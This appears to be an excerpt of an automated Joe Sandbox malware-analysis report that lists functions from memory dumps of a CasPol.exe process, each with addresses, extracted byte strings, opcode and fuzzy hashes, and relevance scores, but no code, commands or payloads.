MKuU^, xrefs: 1FA01D27
2Gr, xrefs: 1FA01CB4
2Gr, xrefs: 1FA01D2F
2Gr, xrefs: 1FA01BDE
2Gr, xrefs: 1FA01DF9
=KuU^, xrefs: 1FA01CAC

Memory Dump Source

Source File: 0000000C.00000002.91143986376.000000001FA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1fa00000_CasPol.jbxd

Similarity

API ID:
String ID: -KuU^$2Gr$2Gr$2Gr$2Gr$2Gr$=KuU^$MKuU^$]KuU^$mKuU^
API String ID: 0-2967135423
Opcode ID: d4b078472747632e16df75d80bdd5b88ce31b2e54008f4f6c89c08883d515ab4
Instruction ID: d2fc258c9a54505df45df721299a4fa669b0eccee4d6253ed6e0c5b6ad64c2e4
Opcode Fuzzy Hash: d4b078472747632e16df75d80bdd5b88ce31b2e54008f4f6c89c08883d515ab4
Instruction Fuzzy Hash: 69D1B430A002858FD715AB7DE49029E7BB2AB8A314F60496ED046DF391DF7DEC45CB92

Uniqueness

Uniqueness Score: -1.00%

Function 1FA05623 Relevance: 10.4, Strings: 8, Instructions: 423
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

^O%r, xrefs: 1FA05980
\OGr, xrefs: 1FA057C8
\OGr, xrefs: 1FA0578B
\OGr, xrefs: 1FA05705
0XGr, xrefs: 1FA0571E
\OGr, xrefs: 1FA05AAD
\OGr, xrefs: 1FA0590E
WFr, xrefs: 1FA058A0

Memory Dump Source

Source File: 0000000C.00000002.91143986376.000000001FA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1fa00000_CasPol.jbxd

Similarity

API ID:
String ID: 0XGr$\OGr$\OGr$\OGr$\OGr$\OGr$^O%r$WFr
API String ID: 0-1755353336
Opcode ID: 22cb5326fa7c3e5254dca85a7623eb4c5e4b22b21af3a7de5ed442312e705e9a
Instruction ID: c110962036eec31a32e4e47c4e8bc71363f27674706fb4c445081fcf171e954d
Opcode Fuzzy Hash: 22cb5326fa7c3e5254dca85a7623eb4c5e4b22b21af3a7de5ed442312e705e9a
Instruction Fuzzy Hash: 01E19F34F102459FDB14DBA8E894BAEB7B2AF89314F148429E549EF391DB38EC41CB51

Uniqueness

Uniqueness Score: -1.00%

Function 1FA056AC Relevance: 10.3, Strings: 8, Instructions: 348
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

^O%r, xrefs: 1FA05980
\OGr, xrefs: 1FA057C8
\OGr, xrefs: 1FA0578B
\OGr, xrefs: 1FA05705
0XGr, xrefs: 1FA0571E
\OGr, xrefs: 1FA05AAD
\OGr, xrefs: 1FA0590E
WFr, xrefs: 1FA058A0

Memory Dump Source

Source File: 0000000C.00000002.91143986376.000000001FA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1fa00000_CasPol.jbxd

Similarity

API ID:
String ID: 0XGr$\OGr$\OGr$\OGr$\OGr$\OGr$^O%r$WFr
API String ID: 0-1755353336
Opcode ID: bab25b1d666adaf600f293e31ed6821eac80bd0b11b915b0ea9e4865092160a7
Instruction ID: 5ce4e4ccf41cd7d86f9d0edfae1c2f3f9dc73137f24a8507b84c73f923c6a601
Opcode Fuzzy Hash: bab25b1d666adaf600f293e31ed6821eac80bd0b11b915b0ea9e4865092160a7
Instruction Fuzzy Hash: 33C1C334F102559FDB10DBA8E894BAEBBB2AFC9314F148429E549EF391DB78AC01C751

Uniqueness

Uniqueness Score: -1.00%

Function 203B7EEA Relevance: 5.3, Strings: 4, Instructions: 312
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

:@ r, xrefs: 203B7D12
:@ r, xrefs: 203B7FB1
:@ r, xrefs: 203B7E3A
:@ r, xrefs: 203B7C54

Memory Dump Source

Source File: 0000000C.00000002.91148380986.00000000203B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 203B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_203b0000_CasPol.jbxd

Similarity

API ID:
String ID: :@ r$:@ r$:@ r$:@ r
API String ID: 0-2335750520
Opcode ID: ecae9f2604f95daa2d7333ce95e6f9e52bae13b7b2f3673f199a7f644a99e168
Instruction ID: c04a6ceb003cdf10dc926a853bddabf25025b838abf5f948b8220492502d973c
Opcode Fuzzy Hash: ecae9f2604f95daa2d7333ce95e6f9e52bae13b7b2f3673f199a7f644a99e168
Instruction Fuzzy Hash: 57A15670F001054BEB14DBFCC4907AD7AF7EF89358F154829E549E7782CA28DE4187A5

Uniqueness

Uniqueness Score: -1.00%

Function 203B6280 Relevance: 4.0, Strings: 3, Instructions: 271
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

:@ r, xrefs: 203B63E2
_%r, xrefs: 203B6429
_%r, xrefs: 203B6470

Memory Dump Source

Source File: 0000000C.00000002.91148380986.00000000203B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 203B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_203b0000_CasPol.jbxd

Similarity

API ID:
String ID: :@ r$_%r$_%r
API String ID: 0-3555142420
Opcode ID: e4e82f5f3b128adae46fc6443ea59b01de37a15e8e29d95a8522b6c1382b1249
Instruction ID: f6fb2b987cf5b1d24073d21cbb2e89c52dda817b9a19ebeb6fd5d2371e79c97b
Opcode Fuzzy Hash: e4e82f5f3b128adae46fc6443ea59b01de37a15e8e29d95a8522b6c1382b1249
Instruction Fuzzy Hash: 57A17E74E002049FCB14EFB8D484A5DBBF2AF88315F258529E419EB795DB38EC52CB91

Uniqueness

Uniqueness Score: -1.00%

Function 203B6264 Relevance: 4.0, Strings: 3, Instructions: 252COMMON

Download Yara Rule

Strings

:@ r, xrefs: 203B63E2
_%r, xrefs: 203B6429
_%r, xrefs: 203B6470

Memory Dump Source

Source File: 0000000C.00000002.91148380986.00000000203B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 203B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_203b0000_CasPol.jbxd

Similarity

API ID:
String ID: :@ r$_%r$_%r
API String ID: 0-3555142420
Opcode ID: 609906ec827c1a356d3b4320904a75938a2aa89be6b04d057378bf019d62a729
Instruction ID: 97c22738c6ba18539aaf4efd55e7090fbbcf026b231dd525a09d902b5dc3df38
Opcode Fuzzy Hash: 609906ec827c1a356d3b4320904a75938a2aa89be6b04d057378bf019d62a729
Instruction Fuzzy Hash: F6A16D30A002059FCB14DFB8C484A5DBBF2AF85315F258569E419EB796DB38EC82CB91

Uniqueness

Uniqueness Score: -1.00%

Function 203BB738 Relevance: 3.2, Strings: 2, Instructions: 687COMMON

Download Yara Rule

Strings

_%r, xrefs: 203BB976
_%r, xrefs: 203BBADC

Memory Dump Source

Source File: 0000000C.00000002.91148380986.00000000203B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 203B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_203b0000_CasPol.jbxd

Similarity

API ID:
String ID: _%r$_%r
API String ID: 0-3934454027
Opcode ID: 6612cce095b26aabf54ae7c8f63cd6260bf47f969eb14eb5c33bbf0124a5b159
Instruction ID: 461a9b29d2ede94cfcc1f1440568c21f6fd6d7fae79095d49a6f5e198394360b
Opcode Fuzzy Hash: 6612cce095b26aabf54ae7c8f63cd6260bf47f969eb14eb5c33bbf0124a5b159
Instruction Fuzzy Hash: 15425A34B002098FDB14DBA8C49479EBBF2AF89314F218469E509DB796DF78DD82CB51

Uniqueness

Uniqueness Score: -1.00%

Function 203BB71C Relevance: 2.8, Strings: 2, Instructions: 326COMMON

Download Yara Rule

Strings

_%r, xrefs: 203BB976
_%r, xrefs: 203BBADC

Memory Dump Source

Source File: 0000000C.00000002.91148380986.00000000203B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 203B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_203b0000_CasPol.jbxd

Similarity

API ID:
String ID: _%r$_%r
API String ID: 0-3934454027
Opcode ID: 62eb0b9d1830991c794ae5052866e9b66aa4f6009f281ce7b8c2b5e83274b7aa
Instruction ID: f7a6e1012bf59fed8922f2e9c79e60db7f6cd66ff5cf44b3928eedbde6f3c691
Opcode Fuzzy Hash: 62eb0b9d1830991c794ae5052866e9b66aa4f6009f281ce7b8c2b5e83274b7aa
Instruction Fuzzy Hash: 81D14B74E002098FDB10CBA8C494B8DB7F1EF49328F268566E509EB756DBB4DD81CB91

Uniqueness

Uniqueness Score: -1.00%

Function 203BC474 Relevance: 2.7, Strings: 2, Instructions: 171COMMON

Download Yara Rule

Strings

_%r, xrefs: 203BC5AC
_%r, xrefs: 203BC504

Memory Dump Source

Source File: 0000000C.00000002.91148380986.00000000203B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 203B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_203b0000_CasPol.jbxd

Similarity

API ID:
String ID: _%r$_%r
API String ID: 0-3934454027
Opcode ID: b4765058d6a53fca9a787ca4d5e079ecb211a21221bbc293719d9e8eb5bf2d0b
Instruction ID: f2f50035b0bea1e9d1cdfb084a9aeb8729f6782eeb270d4129e58ef3b3fd7b42
Opcode Fuzzy Hash: b4765058d6a53fca9a787ca4d5e079ecb211a21221bbc293719d9e8eb5bf2d0b
Instruction Fuzzy Hash: BE616D30A102158FCB54DFB8C494A9DFBF2AF89324F19C569D409AB351DB74EC82CB91

Uniqueness

Uniqueness Score: -1.00%

Function 203B94C1 Relevance: 2.6, Strings: 2, Instructions: 131COMMON

Download Yara Rule

Strings

:@ r, xrefs: 203B95D4
:@ r, xrefs: 203B95C5

Memory Dump Source

Source File: 0000000C.00000002.91148380986.00000000203B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 203B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_203b0000_CasPol.jbxd

Similarity

API ID:
String ID: :@ r$:@ r
API String ID: 0-220078378
Opcode ID: 5c63e001a7e72b383a2b2090d48590edb69ce318688b65953b518b9d28e38b91
Instruction ID: 744792ff6308d9be0a1573f111492354a17f88a830acd38fd0b556f9adf58a48
Opcode Fuzzy Hash: 5c63e001a7e72b383a2b2090d48590edb69ce318688b65953b518b9d28e38b91
Instruction Fuzzy Hash: 2C512978F012189FDF54DBB8C55869E7BF6AF89245F108469E50AA7340EF389C81CF91

Uniqueness

Uniqueness Score: -1.00%

Function 1FA015A0 Relevance: 1.6, Strings: 1, Instructions: 343COMMON

Download Yara Rule

Strings

L.Gr, xrefs: 1FA015CC

Memory Dump Source

Source File: 0000000C.00000002.91143986376.000000001FA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1fa00000_CasPol.jbxd

Similarity

API ID:
String ID: L.Gr
API String ID: 0-3278281377
Opcode ID: f4b40b7dce96d4ba087d1777eb288d3179d86a92d84935ed22f173da452c5a54
Instruction ID: 1f88064fbb256530bf462a8956515a364e49b1bb70b2d6de95b87e199decc6a1
Opcode Fuzzy Hash: f4b40b7dce96d4ba087d1777eb288d3179d86a92d84935ed22f173da452c5a54
Instruction Fuzzy Hash: 53C1E234B002558FDB04AB78E854BAE7BF6AF89314F24456AE406DB391DA3CFC45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 203B3708 Relevance: 1.5, Strings: 1, Instructions: 230COMMON

Download Yara Rule

Strings

4/Gr, xrefs: 203B384F

Memory Dump Source

Source File: 0000000C.00000002.91148380986.00000000203B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 203B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_203b0000_CasPol.jbxd

Similarity

API ID:
String ID: 4/Gr
API String ID: 0-1815050469
Opcode ID: 1efdcdb46b71df290677906211fc3b5972adb9c9aecc2039fbc5f98ae976e661
Instruction ID: 60577841e1ea318d67405c264e6861bef2f7a58e46b8d0643a53f48ca85c2e7e
Opcode Fuzzy Hash: 1efdcdb46b71df290677906211fc3b5972adb9c9aecc2039fbc5f98ae976e661
Instruction Fuzzy Hash: 9A81B335F012149BDB04DBB9C490AAEBBF2AFC8310F118429E506EB390DF34AD05CB96

Uniqueness

Uniqueness Score: -1.00%

Function 203B5C08 Relevance: 1.5, Strings: 1, Instructions: 202COMMON

Download Yara Rule

Strings

:@ r, xrefs: 203B5C35

Memory Dump Source

Source File: 0000000C.00000002.91148380986.00000000203B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 203B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_203b0000_CasPol.jbxd

Similarity

API ID:
String ID: :@ r
API String ID: 0-3855056555
Opcode ID: 0c2cb87bcc4fe90cb6bf342f56bc8fa974870aea13268f2d5ce7104599febdd6
Instruction ID: af3a37a68db0e89cc92ac1b6370794bb68ecfed633ac9a3b40d397de5fab7998
Opcode Fuzzy Hash: 0c2cb87bcc4fe90cb6bf342f56bc8fa974870aea13268f2d5ce7104599febdd6
Instruction Fuzzy Hash: E0713775B002189FCB44DFA8C484A9EFBF6BF88314F29C559E409AB355DB34ED428B91

Uniqueness

Uniqueness Score: -1.00%

Function 1FA00398 Relevance: 1.4, Strings: 1, Instructions: 155COMMON

Download Yara Rule

Strings

:@ r, xrefs: 1FA00687

Memory Dump Source

Source File: 0000000C.00000002.91143986376.000000001FA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1fa00000_CasPol.jbxd

Similarity

API ID:
String ID: :@ r
API String ID: 0-3855056555
Opcode ID: 2f831e613d45f4cbc8eaa217441dc627fb784cc2ed96aa6c626c5724d183a7c5
Instruction ID: 47279d70b241d93b3a81551a570ff259589d419b85294af6f6d1b810168632b6
Opcode Fuzzy Hash: 2f831e613d45f4cbc8eaa217441dc627fb784cc2ed96aa6c626c5724d183a7c5
Instruction Fuzzy Hash: 1C7144305043A2CFC702EBB6C5DCB883F79BB41346F04865CD44956669EBB859C9CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1FA006B8 Relevance: 1.4, Strings: 1, Instructions: 116COMMON

Download Yara Rule

Strings

:@ r, xrefs: 1FA006D2

Memory Dump Source

Source File: 0000000C.00000002.91143986376.000000001FA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1fa00000_CasPol.jbxd

Similarity

API ID:
String ID: :@ r
API String ID: 0-3855056555
Opcode ID: b6c1cb525ecf7fc657d70406b9d9774171bf3ad3e29cf79dc887f1e04332ee3a
Instruction ID: ad1425b4c6419b0f2d683597473f21f44d780664da25fa8387d8ed87f20a8412
Opcode Fuzzy Hash: b6c1cb525ecf7fc657d70406b9d9774171bf3ad3e29cf79dc887f1e04332ee3a
Instruction Fuzzy Hash: BF4181747082828FD314EF29E984A1ABBE2FF85200F15C86AE58CDB355D738EC45CB52

Uniqueness

Uniqueness Score: -1.00%

Function 203BF302 Relevance: 1.3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

Strings

j, xrefs: 203BF2DA

Memory Dump Source

Source File: 0000000C.00000002.91148380986.00000000203B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 203B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_203b0000_CasPol.jbxd

Similarity

API ID:
String ID: j
API String ID: 0-2137352139
Opcode ID: e5e6e5e5ee79cb1d593bab139bc0d9bc7ee33e1cf969858468466593f1d58f2d
Instruction ID: 46ba903ca2edcaa78b9e747379af95c9ec754c1ed9d7b09da5a5f3d6869519ae
Opcode Fuzzy Hash: e5e6e5e5ee79cb1d593bab139bc0d9bc7ee33e1cf969858468466593f1d58f2d
Instruction Fuzzy Hash: 70114839F002A45FDB60A7B8641439E7FE68F8A368F140564E90DDB381EE2D8D0383D2

Uniqueness

Uniqueness Score: -1.00%

Function 1FA02993 Relevance: .7, Instructions: 681COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.91143986376.000000001FA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1fa00000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed990160d6eacc8408b48526fad3ce8fb77f00a9dc2fd90095a12a44c9b974dd
Instruction ID: 5dd5dc196f18d2d451fd4bb7867952695f6af69cbc5f73f79cec130a5de38bb6
Opcode Fuzzy Hash: ed990160d6eacc8408b48526fad3ce8fb77f00a9dc2fd90095a12a44c9b974dd
Instruction Fuzzy Hash: 95721874A002298FCB55DF29C894B9DBBB5BF88304F0486D9D50DAB345DB34AEC68F91

Uniqueness

Uniqueness Score: -1.00%

Function 1FA029A0 Relevance: .7, Instructions: 678COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.91143986376.000000001FA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1fa00000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ae00c78ed50236743748a92ce267c925b03c5a5796fbb4450414b3abe828b99
Instruction ID: 4c6d6347576f6abdaeea459b5fa72b589eccbf6035cd1170de88502a7a9e508d
Opcode Fuzzy Hash: 3ae00c78ed50236743748a92ce267c925b03c5a5796fbb4450414b3abe828b99
Instruction Fuzzy Hash: 6C721774A002298FCB55DF29C894B9DBBB5BF88304F0486D9D50DAB345DB34AEC68F91

Uniqueness

Uniqueness Score: -1.00%

Function 1FA06BC4 Relevance: .6, Instructions: 603COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.91143986376.000000001FA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1fa00000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f245093dac18abe893d275b05d86d4834e576404e9b79b6748cef54dec8b793
Instruction ID: 18fb5061ba0902623870e4729f917c309b293295fda69928791d8c8c591676e1
Opcode Fuzzy Hash: 9f245093dac18abe893d275b05d86d4834e576404e9b79b6748cef54dec8b793
Instruction Fuzzy Hash: D2323B74A00246CFDB14EB68E198A9DBBB2FF49325F608469E405DB391DB3DEC81CB51

Uniqueness

Uniqueness Score: -1.00%

Function 203B8B44 Relevance: .6, Instructions: 588COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.91148380986.00000000203B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 203B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_203b0000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d80075ba99ee7f97afb8d7829999ebddcc076d4240309f312284fa95fee798c
Instruction ID: bc50e73c2fc4fbdc274e8a35587f8eea05bd044eacb65004af11bcdc3b3a3be2
Opcode Fuzzy Hash: 5d80075ba99ee7f97afb8d7829999ebddcc076d4240309f312284fa95fee798c
Instruction Fuzzy Hash: 9632F058E4C2818DD72692A8459474C3FD29B9B31CF9FC2D7C0998FAE7C7758A878312

Uniqueness

Uniqueness Score: -1.00%

Function 1FA03637 Relevance: .5, Instructions: 510COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.91143986376.000000001FA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1fa00000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9841b676c0eb5e7422a09e8328e33ceff0806dd3eb963866044af63faaea0b59
Instruction ID: 2f4f5a2dafab856b8d5b8a3054d27104054218a30f80e44708cb2eb478aa564d
Opcode Fuzzy Hash: 9841b676c0eb5e7422a09e8328e33ceff0806dd3eb963866044af63faaea0b59
Instruction Fuzzy Hash: E142BA79A012299FCB61DF29D988A99BBF5FF48310F1081E9E80DA3755EB355E81CF01

Uniqueness

Uniqueness Score: -1.00%

Function 1FA03667 Relevance: .5, Instructions: 507COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.91143986376.000000001FA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1fa00000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8dd1f5665fc2cdac95881e3d2ba953f6ca78c5d25ccc15b874c221fdddba5b74
Instruction ID: 0913c6a2d3192bfffb950ab709772ba91a28bc0947cff256191d673aa2e9d722
Opcode Fuzzy Hash: 8dd1f5665fc2cdac95881e3d2ba953f6ca78c5d25ccc15b874c221fdddba5b74
Instruction Fuzzy Hash: 1642AA79A012299FCB61DF29D988A98BBF5FF48310F1081E9E80DA3755EB355E81CF01

Uniqueness

Uniqueness Score: -1.00%

Function 1FA036BB Relevance: .5, Instructions: 495COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.91143986376.000000001FA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1fa00000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 250800a9bc5572b13b26a851f028a778d9407ffeb82d9d337705ca0fc2c76789
Instruction ID: 9e8de901db59c8773ce3f5335e01e1486afeac02ba881ecb4f8a807ed8fff056
Opcode Fuzzy Hash: 250800a9bc5572b13b26a851f028a778d9407ffeb82d9d337705ca0fc2c76789
Instruction Fuzzy Hash: EB42AA79A012299FCB61DF29D988A98BBF5FF48310F1081E9E80DA3755EB355E91CF01

Uniqueness

Uniqueness Score: -1.00%

Function 1FA03706 Relevance: .5, Instructions: 487COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.91143986376.000000001FA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1fa00000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14d6aee1bd418a6a72fcd9e1f2bb5f6f743b2f17f79f34588d5c4d9242226050
Instruction ID: f45906a3dc6c0f8012c8b5adacac9b34fc925f3326994857610870392cae362c
Opcode Fuzzy Hash: 14d6aee1bd418a6a72fcd9e1f2bb5f6f743b2f17f79f34588d5c4d9242226050
Instruction Fuzzy Hash: D842A979A012299FCB61DF29D988A98BBF5FF48310F1081E9E80DA3755EB355E91CF01

Uniqueness

Uniqueness Score: -1.00%

Function 1FA0375A Relevance: .5, Instructions: 477COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.91143986376.000000001FA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1fa00000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2353f8ab1c70cfc5dd9b474abf12e5cb5c4e24dde0d0d9b7ce9523115701f6ec
Instruction ID: 0c8b9ad045c5b6368c22e66ce397195507a72b5ef17e03248f4abc956fe768af
Opcode Fuzzy Hash: 2353f8ab1c70cfc5dd9b474abf12e5cb5c4e24dde0d0d9b7ce9523115701f6ec
Instruction Fuzzy Hash: 0032AA79A012299FCB61DF29D988A98BBF5FF48310F1081E9E80DA3755EB355E91CF01

Uniqueness

Uniqueness Score: -1.00%

Function 1FA037AE Relevance: .5, Instructions: 467COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.91143986376.000000001FA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1fa00000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 136fe992e84082ce40118be8b0fceb57d765f44d0eb4d288dbd7d50b558c4cc6
Instruction ID: d1970592d525ba8725b398c359d9fcce942fbb44f47a1619f93a4e207130f135
Opcode Fuzzy Hash: 136fe992e84082ce40118be8b0fceb57d765f44d0eb4d288dbd7d50b558c4cc6
Instruction Fuzzy Hash: 0932A979A012299FCB61DF29D988A98BBF5FF48310F1081E9E80DA3755EB355E91CF01

Uniqueness

Uniqueness Score: -1.00%

Function 1FA03802 Relevance: .5, Instructions: 457COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.91143986376.000000001FA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1fa00000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bdee43e5f183ba9625cc58bd84cdaabecfdadf4c03d06c5e564eba009dba8ee
Instruction ID: 879d39f7f7547ca56284fc6fab855f997a5042b4d241c292489d7c503b677b2a
Opcode Fuzzy Hash: 1bdee43e5f183ba9625cc58bd84cdaabecfdadf4c03d06c5e564eba009dba8ee
Instruction Fuzzy Hash: 0732A979A012299FCB61DF29D988A98BBF5FF48310F1081E9E80DA3755EB355E91CF01

Uniqueness

Uniqueness Score: -1.00%

Function 1FA03856 Relevance: .4, Instructions: 447COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.91143986376.000000001FA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1fa00000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab88fa2237f39ff8f492782d6b9fa9c1cfd91e8eea3c632489f4886fe85f44c0
Instruction ID: c2f36a1f55f889f38833bceacba0af3b798b6abd35f5f2a76e01eac30f0a6d8d
Opcode Fuzzy Hash: ab88fa2237f39ff8f492782d6b9fa9c1cfd91e8eea3c632489f4886fe85f44c0
Instruction Fuzzy Hash: 6432A879A012299FCB61DF29D988A98BBF5FF48310F1081E9E80DA3755EB355E91CF01

Uniqueness

Uniqueness Score: -1.00%

Function 203BF898 Relevance: .4, Instructions: 437COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.91148380986.00000000203B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 203B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_203b0000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fd376f53b2197d8f4498126bf5b341f144cdaf85ea97d3b6d8e703268060b83
Instruction ID: c048f3d0bc320eb97f34b4b83f078019efd64b90be9ba7b14afd2e85e6f59a1d
Opcode Fuzzy Hash: 2fd376f53b2197d8f4498126bf5b341f144cdaf85ea97d3b6d8e703268060b83
Instruction Fuzzy Hash: CBF18134B002058FCB04EBB8D594BADB7F2AF88358F258569D409DB795EB38ED42CB51

Uniqueness

Uniqueness Score: -1.00%

Function 1FA038AA Relevance: .4, Instructions: 435COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.91143986376.000000001FA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1fa00000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b92637509353d0f5d6bad1353d41e60247815b4d8d853e690aeffaf0991073d
Instruction ID: aa61725107ff09cc035c42843f76e980d4a1987ff596e0828c794b23d0980c9d
Opcode Fuzzy Hash: 3b92637509353d0f5d6bad1353d41e60247815b4d8d853e690aeffaf0991073d
Instruction Fuzzy Hash: 5022A879A012299FCB61DF29D988A98BBF5FF48310F1081E9E80DA3755EB355E91CF01

Uniqueness

Uniqueness Score: -1.00%

Function 1FA038F5 Relevance: .4, Instructions: 427COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.91143986376.000000001FA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1fa00000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce1517b046d08c7d3dcdd167799f9e04d656e99e076c762385e2756d54be645a
Instruction ID: b38c32b1b307d4464559fac1dfef25bfc3ed02a108a8ed17669943319af161d4
Opcode Fuzzy Hash: ce1517b046d08c7d3dcdd167799f9e04d656e99e076c762385e2756d54be645a
Instruction Fuzzy Hash: F322A879A012299FCB61DF29D988A98BBF5FF48310F1081E9E80DA3755EB355E91CF01

Uniqueness

Uniqueness Score: -1.00%

Function 1FA03940 Relevance: .4, Instructions: 415COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.91143986376.000000001FA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1fa00000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3225ba9c7e2d04e3eecfb51679244a74fb7c8caeece03c2d45dd2332b5abb54c
Instruction ID: 3296c16b478f8202ff7aa0d85aab08eed9979ecdc654985e41900b1aaa9ac577
Opcode Fuzzy Hash: 3225ba9c7e2d04e3eecfb51679244a74fb7c8caeece03c2d45dd2332b5abb54c
Instruction Fuzzy Hash: D822A979A012299FCB61DF29D988A98BBF5FF48310F1081E9E80DA3755EB355E91CF01

Uniqueness

Uniqueness Score: -1.00%

